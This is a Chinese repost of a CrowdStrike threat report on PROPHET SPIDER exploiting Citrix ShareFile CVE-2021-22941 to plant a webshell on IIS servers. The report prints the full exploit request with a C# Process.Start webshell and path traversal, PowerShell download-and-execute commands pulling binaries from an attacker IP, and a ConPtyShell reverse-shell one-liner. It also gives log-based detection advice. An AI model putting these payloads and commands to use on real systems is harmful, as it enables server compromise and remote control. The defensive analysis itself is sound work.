点击上方蓝字“Ots安全”一起玩耍
2022 年初,CrowdStrike Intelligence 和 CrowdStrike Services 调查了一起事件,其中 PROPHET SPIDER 利用 CVE-2021-22941(一个影响 Citrix ShareFile Storage Zones Controller 的远程代码执行 (RCE) 漏洞)来破坏 Microsoft Internet 信息服务 (IIS)网络服务器。攻击者利用该漏洞部署了一个允许下载其他工具的 webshell。这一事件凸显了 PROPHET SPIDER 如何在继续利用已知的 Web 服务器漏洞的同时继续发展他们的技术。
背景
先知蜘蛛
PROPHET SPIDER是一个 eCrime 参与者,至少从 2017 年 5 月开始活跃,主要通过破坏易受攻击的 Web 服务器来获取受害者的访问权限,这通常涉及利用各种公开披露的漏洞。在多种情况下,攻击者可能充当了访问代理——将访问权限移交给第三方以部署勒索软件。
CVE-2021-22941
2021 年 9 月,Citrix 披露了 ShareFile Zones Storage Controller 中的一个相对路径遍历漏洞,编号为 CVE-2021-22941。此后不久,安全研究人员展示了 CVE 的概念验证 (POC) 漏洞利用。根据已知的技术细节,其他人能够重现自 2021 年 10 月中旬以来激增的 CVE-2021-22941 的完全武器化漏洞利用。该漏洞允许攻击者通过传入的参数覆盖目标服务器上的现有文件HTTP请求。uploadidGET
初始访问和利用
2022 年 1 月 10 日,PROPHET SPIDER使用用户代理POST向 CrowdStrike Falcon® 平台客户的 IIS 服务器发送python-requests/2.26.0了 HTTP 请求。请求/upload.aspx包含以下命令:
POST /upload.aspx?uploadid=%40using+System.Diagnostics%3B%40%7Bint+idx0%3D+0%3Bstring+str_idx0+%3D+idx0.ToString%28%29%3B+int+idx1+%3D+1%3Bstring+str_idx1+%3D+idx1.ToString%28%29%3Bstring+cmd+%3D+Request.QueryString%5Bstr_idx0%5D%3Bstring+arg+%3D+Request.QueryString%5Bstr_idx1%5D%3BProcess.Start%28cmd%2Carg%29%3B%7D%2F..%2F..%2FConfigService%5CViews%5CShared%5CError.cshtml&bp=123&accountid=123
此请求包含三个关键组成部分。
URI 端点/upload.aspx 用于 ShareFile 上传,通常带有用于定义上传对象规范的参数,例如 uploadid、cid 或 batchid。在这种情况下,uploadid 参数包含一个 webshell:
uploadid=@using+System.Diagnostics;@{int+idx0=+0;string+str_idx0+=+idx0.ToString();+int+idx1+=+1;string+str_idx1+=+idx1.ToString();string+cmd+=+Request.QueryString[str_idx0];string+arg+=+Request.QueryString[str_idx1];Process.Start(cmd,arg);}
这是漏洞利用将写入 ASP.NET 文件的内容;它使用 Razor 语法,其中@<keyword>允许将关键字用作变量名,并@{用于打开 C# 代码块。C#Process.Start(cmd,arg);方法提供了后门函数,用于执行任意命令。
/../../ConfigServiceViewsSharedError.cshtml
这是允许有效负载覆盖合法Error.cshtml页面的相对路径遍历。
bp=123&accountid=123
这些是上传功能所期望的参数,包括在内以防止发生错误。此外,这些值与前面提到的公开可用的 CVE-2021-22941 漏洞利用中使用的默认字符匹配。
寻找 CVE-2021-22941 尝试利用证据的分析师可以检查 IIS 访问日志中的 Web 请求:
-
目标upload.aspx
-
包含 URL 参数的编码字符串../和ConfigServiceViewsSharedError.cshtmlURL 参数中的编码字符串
-
如果攻击者没有自定义有效载荷,可能包含&bp=123&accountid=123
一旦设置了 webshell,就可以通过发送一个/configservice/Home/Error带有一个或两个 URL 参数的 HTTP 请求来访问它。ASP.NET 会将这些请求定向到Error.cshtml,其中通常包含一个简单的 HTML 标头,上面写着“抱歉,处理您的请求时发生错误”。由于该漏洞,内容已被 C# 代码块替换,并将使用请求Process.Start(cmd.arg)中传递的 URL 参数进行调用。GET
开发后命令
实现初始访问后,PROPHET SPIDER 使用以下命令测试连通性:
CMD.exe /C nslookup xab8v404gwftvw5nvw95ig6ybphf54.burpcollaborator[.]net</code
如果成功,此命令将对 的子域执行名称查找,burpcollaborator[.]net开源漏洞测试工具 BurpSuite 可以检查该子域以确认响应系统。
攻击者接下来尝试执行编码的 PowerShell 命令,这些命令解码为:
powershell -Command (New-Object System.Net.WebClient).DownloadFile('http[:]//45.61.136[.]39:443/wget[.]bin','C:Windowstempwget.bin')
cmd /c c:Windowstempwget.bin -t 1 http[:]//45.61.136[.]39:443/winn.exe -O c:windowstempwi.exe
这些命令尝试wget从远程 IP 地址下载合法实用程序,然后尝试用于wget下载另一个远程二进制文件,名为winn.exe. 下载失败。winn.exe然后,攻击者尝试从 GitHub 安装开源反向
shell:powershell -Command IEX(IWR https[:]//raw.githubusercontent[.]com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell -RemoteIp 107.181.187[.]184 -RemotePort 4242 -Rows 44 -Cols 166
此有效负载尝试直接从 GitHub 加载反向 shell,并使用参数通过 TCP 端口ConPtyShell连接回 IP 地址。107.181.187[.]1844242
结论
正如 CrowdStrike Intelligence 之前报道的那样, PROPHET SPIDER 是一个机会主义的电子犯罪行为者,它利用公开披露的服务器漏洞,通常用于提供webshell 。最近的 CVE-2021-22941 漏洞利用表明攻击者愿意操作新的和不同的漏洞利用代码,以及他们对部署wget实用程序以开始操作的持久偏好。
原文始发于微信公众号(Ots安全):PROPHET SPIDER 利用远程代码执行漏洞 CVE-2021-22941 交付 Webshell
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论